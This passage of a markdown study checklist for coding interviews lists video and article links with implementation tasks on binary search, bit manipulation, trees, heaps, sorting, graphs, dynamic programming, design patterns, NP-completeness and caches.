search - [ ] [Binary Search (video)](https://www.youtube.com/watch?v=D5SrAga1pno) - [ ] [Binary Search (video)](https://www.khanacademy.org/computing/computer-science/algorithms/binary-search/a/binary-search) - [ ] [detail](https://www.topcoder.com/thrive/articles/Binary%20Search) - [ ] [blueprint](https://leetcode.com/discuss/general-discussion/786126/python-powerful-ultimate-binary-search-template-solved-many-problems) - [ ] [[Review] Binary search in 4 minutes (video)](https://youtu.be/fDKIpRe8GW4) - [ ] Implement: - binary search (on sorted array of integers) - binary search using recursion - ### Bitwise operations - [ ] [Bits cheat sheet](https://github.com/jwasham/coding-interview-university/blob/main/extras/cheat%20sheets/bits-cheat-sheet.pdf) - you should know many of the powers of 2 from (2^1 to 2^16 and 2^32) - [ ] Get a really good understanding of manipulating bits with: &, |, ^, ~, >>, << - [ ] [words](https://en.wikipedia.org/wiki/Word_(computer_architecture)) - [ ] Good intro: [Bit Manipulation (video)](https://www.youtube.com/watch?v=7jkIUgLC29I) - [ ] [C Programming Tutorial 2-10: Bitwise Operators (video)](https://www.youtube.com/watch?v=d0AwjSpNXR0) - [ ] [Bit Manipulation](https://en.wikipedia.org/wiki/Bit_manipulation) - [ ] [Bitwise Operation](https://en.wikipedia.org/wiki/Bitwise_operation) - [ ] [Bithacks](https://graphics.stanford.edu/~seander/bithacks.html) - [ ] [The Bit Twiddler](https://bits.stephan-brumme.com/) - [ ] [The Bit Twiddler Interactive](https://bits.stephan-brumme.com/interactive.html) - [ ] [Bit Hacks (video)](https://www.youtube.com/watch?v=ZusiKXcz_ac) - [ ] [Practice Operations](https://pconrad.github.io/old_pconrad_cs16/topics/bitOps/) - [ ] 2s and 1s complement - [Binary: Plusses & Minuses (Why We Use Two's Complement) (video)](https://www.youtube.com/watch?v=lKTsv6iVxV4) - [1s Complement](https://en.wikipedia.org/wiki/Ones%27_complement) - [2s Complement](https://en.wikipedia.org/wiki/Two%27s_complement) - [ ] Count set bits - [4 ways to count bits in a byte (video)](https://youtu.be/Hzuzo9NJrlc) - [Count Bits](https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetKernighan) - [How To Count The Number Of Set Bits In a 32 Bit Integer](http://stackoverflow.com/questions/109023/how-to-count-the-number-of-set-bits-in-a-32-bit-integer) - [ ] Swap values: - [Swap](https://bits.stephan-brumme.com/swap.html) - [ ] Absolute value: - [Absolute Integer](https://bits.stephan-brumme.com/absInteger.html) ## Trees - ### Trees - Intro - [ ] [Intro to Trees (video)](https://www.coursera.org/lecture/data-structures/trees-95qda) - [ ] [Tree Traversal (video)](https://www.coursera.org/lecture/data-structures/tree-traversal-fr51b) - [ ] [BFS(breadth-first search) and DFS(depth-first search) (video)](https://www.youtube.com/watch?v=uWL6FJhq5fM) - BFS notes: - level order (BFS, using queue) - time complexity: O(n) - space complexity: best: O(1), worst: O(n/2)=O(n) - DFS notes: - time complexity: O(n) - space complexity: best: O(log n) - avg. height of tree worst: O(n) - inorder (DFS: left, self, right) - postorder (DFS: left, right, self) - preorder (DFS: self, left, right) - [ ] [[Review] Breadth-first search in 4 minutes (video)](https://youtu.be/HZ5YTanv5QE) - [ ] [[Review] Depth-first search in 4 minutes (video)](https://youtu.be/Urx87-NMm6c) - [ ] [[Review] Tree Traversal (playlist) in 11 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZO1JC2RgEi04nLy6D-rKk6b) - ### Binary search trees: BSTs - [ ] [Binary Search Tree Review (video)](https://www.youtube.com/watch?v=x6At0nzX92o&index=1&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [Introduction (video)](https://www.coursera.org/learn/data-structures/lecture/E7cXP/introduction) - [ ] [MIT (video)](https://www.youtube.com/watch?v=76dhtgZt38A&ab_channel=MITOpenCourseWare) - C/C++: - [ ] [Binary search tree - Implementation in C/C++ (video)](https://www.youtube.com/watch?v=COZK7NATh4k&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=28) - [ ] [BST implementation - memory allocation in stack and heap (video)](https://www.youtube.com/watch?v=hWokyBoo0aI&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=29) - [ ] [Find min and max element in a binary search tree (video)](https://www.youtube.com/watch?v=Ut90klNN264&index=30&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [Find height of a binary tree (video)](https://www.youtube.com/watch?v=_pnqMz5nrRs&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=31) - [ ] [Binary tree traversal - breadth-first and depth-first strategies (video)](https://www.youtube.com/watch?v=9RHO6jU--GU&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=32) - [ ] [Binary tree: Level Order Traversal (video)](https://www.youtube.com/watch?v=86g8jAQug04&index=33&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [Binary tree traversal: Preorder, Inorder, Postorder (video)](https://www.youtube.com/watch?v=gm8DUJJhmY4&index=34&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [Check if a binary tree is binary search tree or not (video)](https://www.youtube.com/watch?v=yEwSGhSsT0U&index=35&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [Delete a node from Binary Search Tree (video)](https://www.youtube.com/watch?v=gcULXE7ViZw&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=36) - [ ] [Inorder Successor in a binary search tree (video)](https://www.youtube.com/watch?v=5cPbNCrdotA&index=37&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] Implement: - [ ] [insert // insert value into tree](https://leetcode.com/problems/insert-into-a-binary-search-tree/submissions/987660183/) - [ ] get_node_count // get count of values stored - [ ] print_values // prints the values in the tree, from min to max - [ ] delete_tree - [ ] is_in_tree // returns true if given value exists in the tree - [ ] [get_height // returns the height in nodes (single node's height is 1)](https://www.geeksforgeeks.org/find-the-maximum-depth-or-height-of-a-tree/) - [ ] get_min // returns the minimum value stored in the tree - [ ] get_max // returns the maximum value stored in the tree - [ ] [is_binary_search_tree](https://leetcode.com/problems/validate-binary-search-tree/) - [ ] delete_value - [ ] get_successor // returns next-highest value in tree after given value, -1 if none - ### Heap / Priority Queue / Binary Heap - visualized as a tree, but is usually linear in storage (array, linked list) - [ ] [Heap](https://en.wikipedia.org/wiki/Heap_(data_structure)) - [ ] [Introduction (video)](https://www.coursera.org/lecture/data-structures/introduction-2OpTs) - [ ] [Binary Trees (video)](https://www.coursera.org/learn/data-structures/lecture/GRV2q/binary-trees) - [ ] [Tree Height Remark (video)](https://www.coursera.org/learn/data-structures/supplement/S5xxz/tree-height-remark) - [ ] [Basic Operations (video)](https://www.coursera.org/learn/data-structures/lecture/0g1dl/basic-operations) - [ ] [Complete Binary Trees (video)](https://www.coursera.org/learn/data-structures/lecture/gl5Ni/complete-binary-trees) - [ ] [Pseudocode (video)](https://www.coursera.org/learn/data-structures/lecture/HxQo9/pseudocode) - [ ] [Heap Sort - jumps to start (video)](https://youtu.be/odNJmw5TOEE?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3291) - [ ] [Heap Sort (video)](https://www.coursera.org/lecture/data-structures/heap-sort-hSzMO) - [ ] [Building a heap (video)](https://www.coursera.org/lecture/data-structures/building-a-heap-dwrOS) - [ ] [MIT: Heaps and Heap Sort (video)](https://www.youtube.com/watch?v=B7hVxCmfPtM&index=4&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [CS 61B Lecture 24: Priority Queues (video)](https://archive.org/details/ucberkeley_webcast_yIUFT6AKBGE) - [ ] [Linear Time BuildHeap (max-heap)](https://www.youtube.com/watch?v=MiyLo8adrWw) - [ ] [[Review] Heap (playlist) in 13 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZNsyqgPW-DNwUeT8F8uhWc6) - [ ] Implement a max-heap: - [ ] insert - [ ] sift_up - needed for insert - [ ] get_max - returns the max item, without removing it - [ ] get_size() - return number of elements stored - [ ] is_empty() - returns true if heap contains no elements - [ ] extract_max - returns the max item, removing it - [ ] sift_down - needed for extract_max - [ ] remove(x) - removes item at index x - [ ] heapify - create a heap from an array of elements, needed for heap_sort - [ ] heap_sort() - take an unsorted array and turn it into a sorted array in-place using a max heap or min heap ## Sorting - [ ] Notes: - Implement sorts & know best case/worst case, average complexity of each: - no bubble sort - it's terrible - O(n^2), except when n <= 16 - [ ] Stability in sorting algorithms ("Is Quicksort stable?") - [Sorting Algorithm Stability](https://en.wikipedia.org/wiki/Sorting_algorithm#Stability) - [Stability In Sorting Algorithms](http://stackoverflow.com/questions/1517793/stability-in-sorting-algorithms) - [Stability In Sorting Algorithms](http://www.geeksforgeeks.org/stability-in-sorting-algorithms/) - [Sorting Algorithms - Stability](http://homepages.math.uic.edu/~leon/cs-mcs401-s08/handouts/stability.pdf) - [ ] Which algorithms can be used on linked lists? Which on arrays? Which on both? - I wouldn't recommend sorting a linked list, but merge sort is doable. - [Merge Sort For Linked List](http://www.geeksforgeeks.org/merge-sort-for-linked-list/) - For heapsort, see Heap data structure above. Heap sort is great, but not stable - [ ] [Sedgewick - Mergesort (5 videos)](https://www.coursera.org/learn/algorithms-part1/home/week/3) - [ ] [1. Mergesort](https://www.coursera.org/lecture/algorithms-part1/mergesort-ARWDq) - [ ] [2. Bottom up Mergesort](https://www.coursera.org/learn/algorithms-part1/lecture/PWNEl/bottom-up-mergesort) - [ ] [3. Sorting Complexity](https://www.coursera.org/lecture/algorithms-part1/sorting-complexity-xAltF) - [ ] [4. Comparators](https://www.coursera.org/lecture/algorithms-part1/comparators-9FYhS) - [ ] [5. Stability](https://www.coursera.org/learn/algorithms-part1/lecture/pvvLZ/stability) - [ ] [Sedgewick - Quicksort (4 videos)](https://www.coursera.org/learn/algorithms-part1/home/week/3) - [ ] [1. Quicksort](https://www.coursera.org/lecture/algorithms-part1/quicksort-vjvnC) - [ ] [2. Selection](https://www.coursera.org/lecture/algorithms-part1/selection-UQxFT) - [ ] [3. Duplicate Keys](https://www.coursera.org/lecture/algorithms-part1/duplicate-keys-XvjPd) - [ ] [4. System Sorts](https://www.coursera.org/lecture/algorithms-part1/system-sorts-QBNZ7) - [ ] UC Berkeley: - [ ] [CS 61B Lecture 29: Sorting I (video)](https://archive.org/details/ucberkeley_webcast_EiUvYS2DT6I) - [ ] [CS 61B Lecture 30: Sorting II (video)](https://archive.org/details/ucberkeley_webcast_2hTY3t80Qsk) - [ ] [CS 61B Lecture 32: Sorting III (video)](https://archive.org/details/ucberkeley_webcast_Y6LOLpxg6Dc) - [ ] [CS 61B Lecture 33: Sorting V (video)](https://archive.org/details/ucberkeley_webcast_qNMQ4ly43p4) - [ ] [CS 61B 2014-04-21: Radix Sort(video)](https://archive.org/details/ucberkeley_webcast_pvbBMd-3NoI) - [ ] [Bubble Sort (video)](https://www.youtube.com/watch?v=P00xJgWzz2c&index=1&list=PL89B61F78B552C1AB) - [ ] [Analyzing Bubble Sort (video)](https://www.youtube.com/watch?v=ni_zk257Nqo&index=7&list=PL89B61F78B552C1AB) - [ ] [Insertion Sort, Merge Sort (video)](https://www.youtube.com/watch?v=Kg4bqzAqRBM&index=3&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [Insertion Sort (video)](https://www.youtube.com/watch?v=c4BRHC7kTaQ&index=2&list=PL89B61F78B552C1AB) - [ ] [Merge Sort (video)](https://www.youtube.com/watch?v=GCae1WNvnZM&index=3&list=PL89B61F78B552C1AB) - [ ] [Quicksort (video)](https://www.youtube.com/watch?v=y_G9BkAm6B8&index=4&list=PL89B61F78B552C1AB) - [ ] [Selection Sort (video)](https://www.youtube.com/watch?v=6nDMgr0-Yyo&index=8&list=PL89B61F78B552C1AB) - [ ] Merge sort code: - [ ] [Using output array (C)](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/sorting/mergesort.c) - [ ] [Using output array (Python)](https://github.com/jwasham/practice-python/blob/master/merge_sort/merge_sort.py) - [ ] [In-place (C++)](https://github.com/jwasham/practice-cpp/blob/master/merge_sort/merge_sort.cc) - [ ] Quick sort code: - [ ] [Implementation (C)](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/randomization/quick.c) - [ ] [Implementation (C)](https://github.com/jwasham/practice-c/blob/master/quick_sort/quick_sort.c) - [ ] [Implementation (Python)](https://github.com/jwasham/practice-python/blob/master/quick_sort/quick_sort.py) - [ ] [[Review] Sorting (playlist) in 18 minutes](https://www.youtube.com/playlist?list=PL9xmBV_5YoZOZSbGAXAPIq1BeUf4j20pl) - [ ] [Quick sort in 4 minutes (video)](https://youtu.be/Hoixgm4-P4M) - [ ] [Heap sort in 4 minutes (video)](https://youtu.be/2DmK_H7IdTo) - [ ] [Merge sort in 3 minutes (video)](https://youtu.be/4VqmGXwpLqc) - [ ] [Bubble sort in 2 minutes (video)](https://youtu.be/xli_FI7CuzA) - [ ] [Selection sort in 3 minutes (video)](https://youtu.be/g-PGLbMth_g) - [ ] [Insertion sort in 2 minutes (video)](https://youtu.be/JU767SDMDvA) - [ ] Implement: - [ ] Mergesort: O(n log n) average and worst case - [ ] Quicksort O(n log n) average case - Selection sort and insertion sort are both O(n^2) average and worst case - For heapsort, see Heap data structure above - [ ] Not required, but I recommended them: - [ ] [Sedgewick - Radix Sorts (6 videos)](https://www.coursera.org/learn/algorithms-part2/home/week/3) - [ ] [1. Strings in Java](https://www.coursera.org/learn/algorithms-part2/lecture/vGHvb/strings-in-java) - [ ] [2. Key Indexed Counting](https://www.coursera.org/lecture/algorithms-part2/key-indexed-counting-2pi1Z) - [ ] [3. Least Significant Digit First String Radix Sort](https://www.coursera.org/learn/algorithms-part2/lecture/c1U7L/lsd-radix-sort) - [ ] [4. Most Significant Digit First String Radix Sort](https://www.coursera.org/learn/algorithms-part2/lecture/gFxwG/msd-radix-sort) - [ ] [5. 3 Way Radix Quicksort](https://www.coursera.org/lecture/algorithms-part2/3-way-radix-quicksort-crkd5) - [ ] [6. Suffix Arrays](https://www.coursera.org/learn/algorithms-part2/lecture/TH18W/suffix-arrays) - [ ] [Radix Sort](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#radixSort) - [ ] [Radix Sort (video)](https://www.youtube.com/watch?v=xhr26ia4k38) - [ ] [Radix Sort, Counting Sort (linear time given constraints) (video)](https://www.youtube.com/watch?v=Nz1KZXbghj8&index=7&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [Randomization: Matrix Multiply, Quicksort, Freivalds' algorithm (video)](https://www.youtube.com/watch?v=cNB2lADK3_s&index=8&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [Sorting in Linear Time (video)](https://www.youtube.com/watch?v=pOKy3RZbSws&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=14) As a summary, here is a visual representation of [15 sorting algorithms](https://www.youtube.com/watch?v=kPRA0W1kECg). If you need more detail on this subject, see "Sorting" section in [Additional Detail on Some Subjects](#additional-detail-on-some-subjects) ## Graphs Graphs can be used to represent many problems in computer science, so this section is long, like trees and sorting were. - Notes: - There are 4 basic ways to represent a graph in memory: - objects and pointers - adjacency matrix - adjacency list - adjacency map - Familiarize yourself with each representation and its pros & cons - BFS and DFS - know their computational complexity, their trade offs, and how to implement them in real code - When asked a question, look for a graph-based solution first, then move on if none - [ ] MIT(videos): - [ ] [Breadth-First Search](https://www.youtube.com/watch?v=oFVYVzlvk9c&t=14s&ab_channel=MITOpenCourseWare) - [ ] [Depth-First Search](https://www.youtube.com/watch?v=IBfWDYSffUU&t=32s&ab_channel=MITOpenCourseWare) - [ ] Skiena Lectures - great intro: - [ ] [CSE373 2020 - Lecture 10 - Graph Data Structures (video)](https://www.youtube.com/watch?v=Sjk0xqWWPCc&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=10) - [ ] [CSE373 2020 - Lecture 11 - Graph Traversal (video)](https://www.youtube.com/watch?v=ZTwjXj81NVY&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=11) - [ ] [CSE373 2020 - Lecture 12 - Depth First Search (video)](https://www.youtube.com/watch?v=KyordYB3BOs&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=12) - [ ] [CSE373 2020 - Lecture 13 - Minimum Spanning Trees (video)](https://www.youtube.com/watch?v=oolm2VnJUKw&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=13) - [ ] [CSE373 2020 - Lecture 14 - Minimum Spanning Trees (con't) (video)](https://www.youtube.com/watch?v=RktgPx0MarY&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=14) - [ ] [CSE373 2020 - Lecture 15 - Graph Algorithms (con't 2) (video)](https://www.youtube.com/watch?v=MUe5DXRhyAo&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=15) - [ ] Graphs (review and more): - [ ] [6.006 Single-Source Shortest Paths Problem (video)](https://www.youtube.com/watch?v=Aa2sqUhIn-E&index=15&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [6.006 Dijkstra (video)](https://www.youtube.com/watch?v=NSHizBK9JD8&t=1731s&ab_channel=MITOpenCourseWare) - [ ] [6.006 Bellman-Ford (video)](https://www.youtube.com/watch?v=f9cVS_URPc0&ab_channel=MITOpenCourseWare) - [ ] [6.006 Speeding Up Dijkstra (video)](https://www.youtube.com/watch?v=CHvQ3q_gJ7E&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=18) - [ ] [Aduni: Graph Algorithms I - Topological Sorting, Minimum Spanning Trees, Prim's Algorithm - Lecture 6 (video)]( https://www.youtube.com/watch?v=i_AQT_XfvD8&index=6&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [Aduni: Graph Algorithms II - DFS, BFS, Kruskal's Algorithm, Union Find Data Structure - Lecture 7 (video)]( https://www.youtube.com/watch?v=ufj5_bppBsA&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=7) - [ ] [Aduni: Graph Algorithms III: Shortest Path - Lecture 8 (video)](https://www.youtube.com/watch?v=DiedsPsMKXc&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=8) - [ ] [Aduni: Graph Alg. IV: Intro to geometric algorithms - Lecture 9 (video)](https://www.youtube.com/watch?v=XIAQRlNkJAw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=9) - [ ] [CS 61B 2014: Weighted graphs (video)](https://archive.org/details/ucberkeley_webcast_zFbq8vOZ_0k) - [ ] [Greedy Algorithms: Minimum Spanning Tree (video)](https://www.youtube.com/watch?v=tKwnms5iRBU&index=16&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [Strongly Connected Components Kosaraju's Algorithm Graph Algorithm (video)](https://www.youtube.com/watch?v=RpgcYiky7uw) - [ ] [[Review] Shortest Path Algorithms (playlist) in 16 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZO-Y-H3xIC9DGSfVYJng9Yw) - [ ] [[Review] Minimum Spanning Trees (playlist) in 4 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZObEi3Hf6lmyW-CBfs7nkOV) - Full Coursera Course: - [ ] [Algorithms on Graphs (video)](https://www.coursera.org/learn/algorithms-on-graphs/home/welcome) - I'll implement: - [ ] DFS with adjacency list (recursive) - [ ] DFS with adjacency list (iterative with stack) - [ ] DFS with adjacency matrix (recursive) - [ ] DFS with adjacency matrix (iterative with stack) - [ ] BFS with adjacency list - [ ] BFS with adjacency matrix - [ ] single-source shortest path (Dijkstra) - [ ] minimum spanning tree - DFS-based algorithms (see Aduni videos above): - [ ] check for cycle (needed for topological sort, since we'll check for cycle before starting) - [ ] topological sort - [ ] count connected components in a graph - [ ] list strongly connected components - [ ] check for bipartite graph ## Even More Knowledge - ### Recursion - [ ] Stanford lectures on recursion & backtracking: - [ ] [Lecture 8 | Programming Abstractions (video)](https://www.youtube.com/watch?v=gl3emqCuueQ&list=PLFE6E58F856038C69&index=8) - [ ] [Lecture 9 | Programming Abstractions (video)](https://www.youtube.com/watch?v=uFJhEPrbycQ&list=PLFE6E58F856038C69&index=9) - [ ] [Lecture 10 | Programming Abstractions (video)](https://www.youtube.com/watch?v=NdF1QDTRkck&index=10&list=PLFE6E58F856038C69) - [ ] [Lecture 11 | Programming Abstractions (video)](https://www.youtube.com/watch?v=p-gpaIGRCQI&list=PLFE6E58F856038C69&index=11) - When it is appropriate to use it? - How is tail recursion better than not? - [ ] [What Is Tail Recursion Why Is It So Bad?](https://www.quora.com/What-is-tail-recursion-Why-is-it-so-bad) - [ ] [Tail Recursion (video)](https://www.coursera.org/lecture/programming-languages/tail-recursion-YZic1) - [ ] [5 Simple Steps for Solving Any Recursive Problem(video)](https://youtu.be/ngCos392W4w) Backtracking Blueprint: [Java](https://leetcode.com/problems/combination-sum/discuss/16502/A-general-approach-to-backtracking-questions-in-Java-(Subsets-Permutations-Combination-Sum-Palindrome-Partitioning)) [Python](https://leetcode.com/problems/combination-sum/discuss/429538/General-Backtracking-questions-solutions-in-Python-for-reference-%3A) - ### Dynamic Programming - You probably won't see any dynamic programming problems in your interview, but it's worth being able to recognize a problem as being a candidate for dynamic programming. - This subject can be pretty difficult, as each DP soluble problem must be defined as a recursion relation, and coming up with it can be tricky. - I suggest looking at many examples of DP problems until you have a solid understanding of the pattern involved. - [ ] Videos: - [ ] [Skiena: CSE373 2020 - Lecture 19 - Introduction to Dynamic Programming (video)](https://www.youtube.com/watch?v=wAA0AMfcJHQ&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=18) - [ ] [Skiena: CSE373 2020 - Lecture 20 - Edit Distance (video)](https://www.youtube.com/watch?v=T3A4jlHlhtA&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=19) - [ ] [Skiena: CSE373 2020 - Lecture 20 - Edit Distance (continued) (video)](https://www.youtube.com/watch?v=iPnPVcZmRbE&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=20) - [ ] [Skiena: CSE373 2020 - Lecture 21 - Dynamic Programming (video)](https://www.youtube.com/watch?v=2xPE4Wq8coQ&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=21) - [ ] [Skiena: CSE373 2020 - Lecture 22 - Dynamic Programming and Review (video)](https://www.youtube.com/watch?v=Yh3RzqQGsyI&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=22) - [ ] [Simonson: Dynamic Programming 0 (starts at 59:18) (video)](https://youtu.be/J5aJEcOr6Eo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3558) - [ ] [Simonson: Dynamic Programming I - Lecture 11 (video)](https://www.youtube.com/watch?v=0EzHjQ_SOeU&index=11&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [Simonson: Dynamic programming II - Lecture 12 (video)](https://www.youtube.com/watch?v=v1qiRwuJU7g&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=12) - [ ] List of individual DP problems (each is short): [Dynamic Programming (video)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr) - [ ] Yale Lecture notes: - [ ] [Dynamic Programming](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#dynamicProgramming) - [ ] Coursera: - [ ] [The RNA secondary structure problem (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/80RrW/the-rna-secondary-structure-problem) - [ ] [A dynamic programming algorithm (video)](https://www.coursera.org/lecture/algorithmic-thinking-2/a-dynamic-programming-algorithm-PSonq) - [ ] [Illustrating the DP algorithm (video)](https://www.coursera.org/lecture/algorithmic-thinking-2/illustrating-the-dp-algorithm-oUEK2) - [ ] [Running time of the DP algorithm (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/nfK2r/running-time-of-the-dp-algorithm) - [ ] [DP vs. recursive implementation (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/M999a/dp-vs-recursive-implementation) - [ ] [Global pairwise sequence alignment (video)](https://www.coursera.org/lecture/algorithmic-thinking-2/global-pairwise-sequence-alignment-UZ7o6) - [ ] [Local pairwise sequence alignment (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/WnNau/local-pairwise-sequence-alignment) - ### Design patterns - [ ] [Quick UML review (video)](https://www.youtube.com/watch?v=3cmzqZzwNDM&list=PLGLfVvz_LVvQ5G-LdJ8RLqe-ndo7QITYc&index=3) - [ ] Learn these patterns: - [ ] strategy - [ ] singleton - [ ] adapter - [ ] prototype - [ ] decorator - [ ] visitor - [ ] factory, abstract factory - [ ] facade - [ ] observer - [ ] proxy - [ ] delegate - [ ] command - [ ] state - [ ] memento - [ ] iterator - [ ] composite - [ ] flyweight - [ ] [Series of videos (27 videos)](https://www.youtube.com/playlist?list=PLF206E906175C7E07) - [ ] [Book: Head First Design Patterns](https://www.amazon.com/Head-First-Design-Patterns-Freeman/dp/0596007124) - I know the canonical book is "Design Patterns: Elements of Reusable Object-Oriented Software", but Head First is great for beginners to OO. - [Handy reference: 101 Design Patterns & Tips for Developers](https://sourcemaking.com/design-patterns-and-tips) - ### Combinatorics (n choose k) & Probability - [ ] [Math Skills: How to find Factorial, Permutation and Combination (Choose) (video)](https://www.youtube.com/watch?v=8RRo6Ti9d0U) - [ ] [Make School: Probability (video)](https://www.youtube.com/watch?v=sZkAAk9Wwa4) - [ ] [Make School: More Probability and Markov Chains (video)](https://www.youtube.com/watch?v=dNaJg-mLobQ) - [ ] Khan Academy: - Course layout: - [ ] [Basic Theoretical Probability](https://www.khanacademy.org/math/probability/probability-and-combinatorics-topic) - Just the videos - 41 (each are simple and each are short): - [ ] [Probability Explained (video)](https://www.youtube.com/watch?v=uzkc-qNVoOk&list=PLC58778F28211FA19) - ### NP, NP-Complete and Approximation Algorithms - Know about the most famous classes of NP-complete problems, such as traveling salesman and the knapsack problem, and be able to recognize them when an interviewer asks you them in disguise. - Know what NP-complete means. - [ ] [Computational Complexity (video)](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=23) - [ ] Simonson: - [ ] [Greedy Algs. II & Intro to NP Completeness (video)](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939) - [ ] [NP Completeness II & Reductions (video)](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [NP Completeness III (Video)](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [NP Completeness IV (video)](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18) - [ ] Skiena: - [ ] [CSE373 2020 - Lecture 23 - NP-Completeness (video)](https://www.youtube.com/watch?v=ItHp5laE1VE&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=23) - [ ] [CSE373 2020 - Lecture 24 - Satisfiability (video)](https://www.youtube.com/watch?v=inaFJeCzGxU&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=24) - [ ] [CSE373 2020 - Lecture 25 - More NP-Completeness (video)](https://www.youtube.com/watch?v=B-bhKxjZLlc&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=25) - [ ] [CSE373 2020 - Lecture 26 - NP-Completeness Challenge (video)](https://www.youtube.com/watch?v=_EzetTkG_Cc&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=26) - [ ] [Complexity: P, NP, NP-completeness, Reductions (video)](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22) - [ ] [Complexity: Approximation Algorithms (video)](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24) - [ ] [Complexity: Fixed-Parameter Algorithms (video)](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - Peter Norvig discusses near-optimal solutions to traveling salesman problem: - [Jupyter Notebook](http://nbviewer.jupyter.org/url/norvig.com/ipython/TSP.ipynb) - Pages 1048 - 1140 in CLRS if you have it. - ### How computers process a program - [ ] [How CPU executes a program (video)](https://www.youtube.com/watch?v=XM4lGflQFvA) - [ ] [How computers calculate - ALU (video)](https://youtu.be/1I5ZMmrOfnA) - [ ] [Registers and RAM (video)](https://youtu.be/fpnE6UAfbtU) - [ ] [The Central Processing Unit (CPU) (video)](https://youtu.be/FZGugFqdr60) - [ ] [Instructions and Programs (video)](https://youtu.be/zltgXvg6r3k) - ### Caches - [ ] LRU cache: - [ ] [The Magic of LRU Cache (100 Days of Google Dev) (video)](https://www.youtube.com/watch?v=R5ON3iwx78M) - [ ] [Implementing LRU (video)](https://www.youtube.com/watch?v=bq6N7Ym81iI) - [ ] [LeetCode - 146 LRU Cache (C++) (video)](https://www.youtube.com/watch?v=8-FZRAjR7qU) - [ ] CPU cache: - [ ] [MIT 6.004 L15: The Memory Hierarchy 